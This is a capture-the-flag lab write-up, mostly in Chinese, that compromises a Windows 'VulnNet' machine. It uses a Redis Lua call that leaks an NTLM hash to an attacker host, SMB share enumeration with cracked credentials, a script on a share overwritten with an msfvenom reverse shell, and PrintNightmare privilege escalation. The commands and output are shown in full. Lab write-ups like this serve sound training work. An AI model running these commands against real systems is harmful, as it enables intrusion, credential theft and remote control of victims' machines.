

ip address : 10.48.140.34

Summary

VulnNet靶场是一个模拟简单内网环境的靶场, 初始位置模拟的是攻击者完成了前面的Web渗透并获取了内网环境中第一台跳板机的场景

我们需要做的是基于该机器实现有关内网的信息收集与操作, 其中涉及到了对于Redis的信息收集, NTLM Hash的获取与破解, SMB服务的深度信息挖掘与利用, 基于CVE-2021-1675利用实现的提权操作

Key Techniques

- Port Enumeration
- Redis Enumeration
- NTLM Hash Capture
- Windows Privilege Escalation

Reconnaissance

nmap扫描获取初始信息

```
1 $ sudo nmap -p- -ss -sv -sc -Pn --min-rate 1000 10.48.140.34
2 Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-19 23:13 -0400
3 Nmap scan report for 10.48.140.34
4 Host is up (0.17s latency).
5 Not shown: 65522 filtered tcp ports (no-response)
6 PORT      STATE SERVICE      VERSION
7 53/tcp    open  domain       Simple DNS Plus
8 135/tcp   open  msrpc        Microsoft Windows RPC
9 139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
10 445/tcp   open  microsoft-ds?
11 464/tcp   open  kpasswd5?
12 6379/tcp  open  redis        Redis key-value store 2.8.2402
13 9389/tcp  open  mc-nmf       .NET Message Framing
14 49666/tcp open  msrpc        Microsoft Windows RPC
15 49668/tcp open  msrpc        Microsoft Windows RPC
16 49669/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
17 49670/tcp open  msrpc        Microsoft Windows RPC
18 49677/tcp open  msrpc        Microsoft Windows RPC
19 49703/tcp open  msrpc        Microsoft Windows RPC
20 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
21
22 Host script results:
23 | smb2-security-mode:
24 |   3.1.1:
25 |_    Message signing enabled and required
26 | smb2-time:
27 |   date: 2026-08-20T03:16:56
28 |_  start_date: N/A
```

连接访问Redis服务, 并检查配置信息

```
1 $ redis-cli -h 10.48.140.34
2 10.48.140.34:6379> info
3 # Server
4 redis_version:2.8.2402
5 redis_git_sha1:00000000
6 redis_git_dirty:0
7 redis_build_id:b2a45a9622ff23b7
8 redis_mode:standalone
9 os:windows
10 arch_bits:64
11 multiplexing_api:winsock_IOCP
12 process_id:2668
13 run_id:c7433059bad5042b7f4fb71211321626e9b1d4a2
14 tcp_port:6379
15 uptime_in_seconds:236
16 uptime_in_days:0
17 hz:10
18 lru_clock:8811013
19 config_file:
20
21 # Clients
22 connected_clients:1
23 client_longest_output_list:0
24 client_biggest_input_buf:0
25 blocked_clients:0
26
27 # Memory
28 used_memory:952800
29 used_memory_human:930.47K
30 used_memory_rss:919256
31 used_memory_peak:952800
32 used_memory_peak_human:930.47K
33 used_memory_lua:36864
34 mem_fragmentation_ratio:0.96
35 mem_allocator:dllmalloc-2.8
36
37 # Persistence
38 loading:0
39 rdb_changes_since_last_save:0
40 rdb_bgsave_in_progress:0
41 rdb_last_save_time:1787195673
42 rdb_last_bgsave_status:ok
43 rdb_last_bgsave_time_sec:-1
44 rdb_current_bgsave_time_sec:-1
45 aof_enabled:0
46 aof_rewrite_in_progress:0
47 aof_rewrite_scheduled:0
48 aof_last_rewrite_time_sec:-1
49 aof_current_rewrite_time_sec:-1
50 aof_last_bgrewrite_status:ok
51 aof_last_write_status:ok
52
53 # Stats
```

```
54 total_connections_received:2
55 total_commands_processed:4
56 instantaneous_ops_per_sec:0
57 total_net_input_bytes:98
58 total_net_output_bytes:0
59 instantaneous_input_kbps:0.00
60 instantaneous_output_kbps:0.00
61 rejected_connections:0
62 sync_full:0
63 sync_partial_ok:0
64 sync_partial_err:0
65 expired_keys:0
66 evicted_keys:0
67 keyspace_hits:0
68 keyspace_misses:0
69 pubsub_channels:0
70 pubsub_patterns:0
71 latest_fork_usec:0
72
73 # Replication
74 role:master
75 connected_slaves:0
76 master_repl_offset:0
77 repl_backlog_active:0
78 repl_backlog_size:1048576
79 repl_backlog_first_byte_offset:0
80 repl_backlog_histlen:0
81
82 # CPU
83 used_cpu_sys:0.06
84 used_cpu_user:0.11
85 used_cpu_sys_children:0.00
86 used_cpu_user_children:0.00
87
88 # Keyspace
89 10.48.140.34:6379> config get *
90 1) "dbfilename"
91 2) "dump.rdb"
92 3) "requirepass"
93 4) ""
94 5) "masterauth"
95 6) ""
96 7) "unixsocket"
97 8) ""
98 9) "logfile"
99 10) ""
100 11) "pidfile"
101 12) "/var/run/redis.pid"
102 13) "maxmemory"
103 14) "0"
104 15) "maxmemory-samples"
105 16) "3"
106 17) "timeout"
```

107	18) "0"
108	19) "tcp-keepalive"
109	20) "0"
110	21) "auto-aof-rewrite-percentage"
111	22) "100"
112	23) "auto-aof-rewrite-min-size"
113	24) "67108864"
114	25) "hash-max-ziplist-entries"
115	26) "512"
116	27) "hash-max-ziplist-value"
117	28) "64"
118	29) "list-max-ziplist-entries"
119	30) "512"
120	31) "list-max-ziplist-value"
121	32) "64"
122	33) "set-max-intset-entries"
123	34) "512"
124	35) "zset-max-ziplist-entries"
125	36) "128"
126	37) "zset-max-ziplist-value"
127	38) "64"
128	39) "hll-sparse-max-bytes"
129	40) "3000"
130	41) "lua-time-limit"
131	42) "5000"
132	43) "slowlog-log-slower-than"
133	44) "10000"
134	45) "latency-monitor-threshold"
135	46) "0"
136	47) "slowlog-max-len"
137	48) "128"
138	49) "port"
139	50) "6379"
140	51) "tcp-backlog"
141	52) "511"
142	53) "databases"
143	54) "16"
144	55) "repl-ping-slave-period"
145	56) "10"
146	57) "repl-timeout"
147	58) "60"
148	59) "repl-backlog-size"
149	60) "1048576"
150	61) "repl-backlog-ttl"
151	62) "3600"
152	63) "maxclients"
153	64) "10000"
154	65) "watchdog-period"
155	66) "0"
156	67) "slave-priority"
157	68) "100"
158	69) "min-slaves-to-write"
159	70) "0"

```
160 71) "min-slaves-max-lag"
161 72) "10"
162 73) "hz"
163 74) "10"
164 75) "repl-diskless-sync-delay"
165 76) "5"
166 77) "no-appendfsync-on-rewrite"
167 78) "no"
168 79) "slave-serve-stale-data"
169 80) "yes"
170 81) "slave-read-only"
171 82) "yes"
172 83) "stop-writes-on-bgsave-error"
173 84) "yes"
174 85) "daemonize"
175 86) "no"
176 87) "rdbcompression"
177 88) "yes"
178 89) "rdbchecksum"
179 90) "yes"
180 91) "activerehashing"
181 92) "yes"
182 93) "repl-disable-tcp-nodelay"
183 94) "no"
184 95) "repl-diskless-sync"
185 96) "no"
186 97) "aof-rewrite-incremental-fsync"
187 98) "yes"
188 99) "aof-load-truncated"
189 100) "yes"
190 101) "appendonly"
191 102) "no"
192 103) "dir"
193 104) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
194 105) "maxmemory-policy"
195 106) "volatile-lru"
196 107) "appendfsync"
197 108) "everysec"
198 109) "save"
199 110) "jd 3600 jd 300 jd 60"
200 111) "loglevel"
201 112) "notice"
202 113) "client-output-buffer-limit"
203 114) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60"
204 115) "unixsocketperm"
205 116) "0"
206 117) "slaveof"
207 118) ""
208 119) "notify-keyspace-events"
209 120) ""
210 121) "bind"
211 122) ""
212 10.48.140.34:6379>
```

Capture NTLM Hash

在Redis服务中运行脚本, Kali中启动Responder监听并捕获NTLM Hash

```
1 10.48.140.34:6379> eval "dofile('//192.168.154.154/test')" 0
2 (error) ERR Error running script (call to f_ed09c2e6f02c0c9e0a8b3c02dfb5987df56fd5ec):
  @user_script:1: cannot open //192.168.154.154/test: Permission denied
3 (0.79s)
4 10.48.140.34:6379>
5
```

监听, 捕获NTLM Hash

```
1 $ sudo responder -I tun0
2 [sudo] password for kali:
3
4 .-----| |.-----
5 | _| -_|_ --| _ | _ | _ || -_| _|
6 |_| |____|____| _|____|_|_|____| |____|_|
7           |_|
8
9
10 [*] Tips jar:
11     USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
12     BTC  -> bc1q9360jedhhmps5vp13u05vyg4jryr152dmazz49
13
14 [+] Poisoners:
15     LLMNR [ON]
16     NBT-NS [ON]
17     MDNS [ON]
18     DNS [ON]
19     DHCP [OFF]
20     DHCPv6 [OFF]
21
22 [+] Servers:
23     HTTP server [ON]
24     HTTPS server [ON]
25     WPAD proxy [OFF]
26     Auth proxy [OFF]
27     SMB server [ON]
28     Kerberos server [ON]
29     SQL server [ON]
30     FTP server [ON]
31     IMAP server [ON]
32     POP3 server [ON]
33     SMTP server [ON]
34     DNS server [ON]
35     LDAP server [ON]
36     MQTT server [ON]
37     RDP server [ON]
38     DCE-RPC server [ON]
39     winRM server [ON]
```


尝试进行Crack Hash

Exploitation

```

1 $ smbclient -L //10.48.140.34 -U enterprise-security --password=sand_0873959498
2
3      Sharename      Type      Comment
4      -----      -
5      ADMIN$         Disk      Remote Admin
6      C$             Disk      Default share
7      Enterprise-Share Disk
8      IPC$           IPC       Remote IPC
9      NETLOGON        Disk      Logon server share
10     SYSVOL          Disk      Logon server share
11 Reconnecting with SMB1 for workgroup listing.
12 do_connect: Connection to 10.48.140.34 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
13 unable to connect with SMB1 -- no workgroup available
14
15 $ smbclient -L //10.48.140.34/Enterprise-Share -U enterprise-security --
    password=sand_0873959498
16
17     Sharename      Type      Comment
18     -----      -
19     ADMIN$         Disk      Remote Admin
20     C$             Disk      Default share

```



```

21      Enterprise-Share Disk
22      IPC$                IPC          Remote IPC
23      NETLOGON            Disk        Logon server share
24      SYSVOL              Disk        Logon server share
25  Reconnecting with SMB1 for workgroup listing.
26  do_connect: Connection to 10.48.140.34 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
27  Unable to connect with SMB1 -- no workgroup available
28
29  $ smbclient -L \\\\10.48.140.34\\Enterprise-Share -U enterprise-security --
    password=sand_0873959498
30
31      Sharename          Type      Comment
32      -----          -
33      ADMIN$            Disk      Remote Admin
34      C$                Disk      Default share
35      Enterprise-Share Disk
36      IPC$              IPC       Remote IPC
37      NETLOGON          Disk      Logon server share
38      SYSVOL            Disk      Logon server share
39  Reconnecting with SMB1 for workgroup listing.
40  do_connect: Connection to 10.48.140.34 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
41  Unable to connect with SMB1 -- no workgroup available

```

但是出现了问题 (但是, 后续有链接成功, 可能存在连接超时与尝试限制, 或者使用的openvpn配置存在问题)

```

1  $ crackmapexec smb 10.48.140.34 -u "enterprise-security" -p "sand_0873959498" --shares
2  /usr/lib/python3/dist-packages/impacket/mssql/version.py:182: SyntaxWarning: 'return'
    in a 'finally' block
3      return string
4  SMB      10.48.140.34      445      VULNNET-BC3TCK1  [*] windows 10 / Server 2019 Build
    17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
5  SMB      10.48.140.34      445      VULNNET-BC3TCK1  [+] vulnnet.local\enterprise-
    security:sand_0873959498
6  SMB      10.48.140.34      445      VULNNET-BC3TCK1  [+] Enumerated shares
7  SMB      10.48.140.34      445      VULNNET-BC3TCK1  Share          Permissions
    Remark
8  SMB      10.48.140.34      445      VULNNET-BC3TCK1  -----          -----
    ---
9  SMB      10.48.140.34      445      VULNNET-BC3TCK1  ADMIN$
    Remote Admin
10 SMB      10.48.140.34      445      VULNNET-BC3TCK1  C$
    Default share
11 SMB      10.48.140.34      445      VULNNET-BC3TCK1  Enterprise-Share READ
12 SMB      10.48.140.34      445      VULNNET-BC3TCK1  IPC$          READ
    Remote IPC
13 SMB      10.48.140.34      445      VULNNET-BC3TCK1  NETLOGON      READ
    Logon server share
14 SMB      10.48.140.34      445      VULNNET-BC3TCK1  SYSVOL        READ
    Logon server share
15

```

```

16 $ crackmapexec smb 10.48.140.34 -u "enterprise-security" -p "sand_0873959498" --spider
Enterprise-Share --regex .
17 /usr/lib/python3/dist-packages/impacket/mssql/version.py:182: SyntaxWarning: 'return'
in a 'finally' block
18     return string
19 SMB          10.48.140.34      445      VULNNET-BC3TCK1  [*] windows 10 / Server 2019 Build
17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
20 SMB          10.48.140.34      445      VULNNET-BC3TCK1  [+] vulnnet.local\enterprise-
security:sand_0873959498
21 SMB          10.48.140.34      445      VULNNET-BC3TCK1  [*] started spidering
22 SMB          10.48.140.34      445      VULNNET-BC3TCK1  [*] Spidering .
23 SMB          10.48.140.34      445      VULNNET-BC3TCK1  //10.48.140.34/Enterprise-Share/.
[dir]
24 SMB          10.48.140.34      445      VULNNET-BC3TCK1  //10.48.140.34/Enterprise-Share/..
[dir]
25 SMB          10.48.140.34      445      VULNNET-BC3TCK1  //10.48.140.34/Enterprise-
Share/PurgeIrrelevantData_1826.ps1 [lastm:'2021-02-23 19:33' size:69]
26 SMB          10.48.140.34      445      VULNNET-BC3TCK1  [*] Done spidering (Completed in
0.7982082366943359)
27
28 $ crackmapexec smb 10.48.140.34 -u "enterprise-security" -p "sand_0873959498" -M
spider_plus --share Enterprise-Share
29 /usr/lib/python3/dist-packages/impacket/mssql/version.py:182: SyntaxWarning: 'return'
in a 'finally' block
30     return string
31 /usr/lib/python3/dist-packages/lsassy/impacketfile.py:90: SyntaxWarning: 'return' in a
'finally' block
32     return True
33 SMB          10.48.140.34      445      VULNNET-BC3TCK1  [*] windows 10 / Server 2019 Build
17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
34 SMB          10.48.140.34      445      VULNNET-BC3TCK1  [+] vulnnet.local\enterprise-
security:sand_0873959498
35 SPIDER_P... 10.48.140.34      445      VULNNET-BC3TCK1  [*] started spidering plus with
option:
36 SPIDER_P... 10.48.140.34      445      VULNNET-BC3TCK1  [*]          DIR: ['print$']
37 SPIDER_P... 10.48.140.34      445      VULNNET-BC3TCK1  [*]          EXT: ['ico', 'lnk']
38 SPIDER_P... 10.48.140.34      445      VULNNET-BC3TCK1  [*]          SIZE: 51200
39 SPIDER_P... 10.48.140.34      445      VULNNET-BC3TCK1  [*]          OUTPUT:
/tmp/cme_spider_plus

```

我们发现了一个文件 : PurgeIrrelevantData_1826.ps1

smbclient再次连接成功

```

1 $ smbclient \\\\10.48.140.34\\Enterprise-Share -U enterprise-security
2 Password for [WORKGROUP\\enterprise-security]:
3 Try "help" to get a list of possible commands.
4 smb: \> dir
5      .                               D            0   Tue Feb 23 17:45:41 2021
6      ..                              D            0   Tue Feb 23 17:45:41 2021
7      PurgeIrrelevantData_1826.ps1    A           69   Tue Feb 23 19:33:18 2021
8
9      9558271 blocks of size 4096. 4945349 blocks available
10 smb: \>

```

我们尝试生成一个与PurgeIrrelevantData_1826.ps1同名的后门文件, 上传到Enterprise-Share文件夹中, 替换原文件

```

1 $ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=192.168.154.154 LPORT=4499 -f
  psh -o PurgeIrrelevantData_1826.ps1
2 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3 [-] No arch selected, selecting arch: x64 from the payload
4 No encoder specified, outputting raw payload
5 Payload size: 1901 bytes
6 Final size of psh file: 10231 bytes
7 Saved as: PurgeIrrelevantData_1826.ps1
8
9 $ ls -al
10 total 24
11 drwxrwxr-x 2 kali kali  4096 Aug 19 23:49 .
12 drwxr-xr-x 4 kali kali  4096 Aug 19 23:12 ..
13 -rw-rw-r-- 1 kali kali   724 Aug 19 23:25 hash.txt
14 -rw-rw-r-- 1 kali kali 10231 Aug 19 23:49 PurgeIrrelevantData_1826.ps1

```

```

1 smb: \> put PurgeIrrelevantData_1826.ps1
2 putting file PurgeIrrelevantData_1826.ps1 as \PurgeIrrelevantData_1826.ps1 (18.2 kB/s)
  (average 18.2 kB/s)

```

等待一段时间后, 我们得到了shell

```

1 $ nc -lvp 4499
2 listening on [any] 4499 ...
3 connect to [192.168.154.154] from (UNKNOWN) [10.48.140.34] 50095
4 Windows PowerShell running as user enterprise-security on VULNNET-BC3TCK1
5 Copyright (C) Microsoft Corporation. All rights reserved.
6
7 dir
8
9
10      Directory: C:\Users\enterprise-security\Downloads
11
12
13 Mode                LastWriteTime         Length Name

```

```
14  ----              -----              -----  ----
15  d-----          2/23/2021   2:29 PM              nssm-2.24-101-g897c7ad
16  d-----          2/26/2021  12:14 PM              Redis-x64-2.8.2402
17  -a-----          2/26/2021  10:37 AM              143 startup.bat
18
19
20  PS C:\Users\enterprise-security\Downloads>
```

尝试寻找 user flag

```
1  PS C:\Users\enterprise-security\Downloads> cd ..
2  PS C:\Users\enterprise-security> dir
3
4
5      Directory: C:\Users\enterprise-security
6
7
8  Mode                LastWriteTime         Length Name
9  ----                -
10 d-r---          2/23/2021   2:02 PM          3D Objects
11 d-r---          2/23/2021   2:02 PM          Contacts
12 d-r---          2/23/2021   8:23 PM          Desktop
13 d-r---          2/23/2021   2:02 PM          Documents
14 d-r---          2/26/2021  11:29 AM          Downloads
15 d-r---          2/23/2021   2:02 PM          Favorites
16 d-r---          2/23/2021   2:02 PM          Links
17 d-r---          2/23/2021   2:02 PM          Music
18 d-r---          2/23/2021   2:02 PM          Pictures
19 d-r---          2/23/2021   2:02 PM          Saved Games
20 d-r---          2/23/2021   2:02 PM          Searches
21 d-r---          2/23/2021   2:02 PM          Videos
22
23
24  PS C:\Users\enterprise-security> cd Desktop
25  PS C:\Users\enterprise-security\Desktop> dir
```

```

26
27
28     Directory: C:\Users\enterprise-security\Desktop
29
30
31 Mode                LastWriteTime         Length Name
32 ----                -
33 -a-----          2/23/2021   8:24 PM             37 user.txt
34
35
36 PS C:\Users\enterprise-security\Desktop> type user.txt
37 THM{3eb176aee96432d5b100bc93580b291e}
38 PS C:\Users\enterprise-security\Desktop>

```

尝试收集RPC相关信息

```

1 $ impacket-rpcdump 10.48.140.34 | egrep 'MS-RPRN|MS-PAR'
2 Protocol: [MS-RPRN]: Print System Remote Protocol
3 Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol

```

Privilege Escalation

再次尝试进行信息收集, 寻找能够利用的漏洞

```

1 PS C:\Users\enterprise-security> wmic service list brief
2 ExitCode  Name                                ProcessId  StartMode  State
3 Status
4 0          Spooler                                2056      Auto      Running  OK
5

```

我们发现了Spooler服务, 并找到了其存在的一个漏洞: CVE-2021-34527

利用PoC

- <https://github.com/JohnHammond/CVE-2021-34527>
- <https://github.com/m8sec/CVE-2021-34527>

通过SMB上传利用脚本, 并运行

```
1 Import-Module .\\CVE-2021-1675.ps1
2
3 Invoke-Nightmare
4
5 -----
6 https://github.com/JohnHammond/CVE-2021-34527
7
8 Import-Module .\cve-2021-34527.ps1
9 Invoke-Nightmare # add user `admin`/`P@ssw0rd` in the local admin group by default
10
```

使用 impacket-psexec 建立连接

```
1 | impacket-psexec admin@10.48.140.34
```

成功得到了 Root Flag (在提权阶段, 频繁发生连接问题, 结合之前的SMB访问问题, 应该是openvpn配置存在问题)

```
1 | THM{d540c0645975900e5bb9167aa431fc9b}
```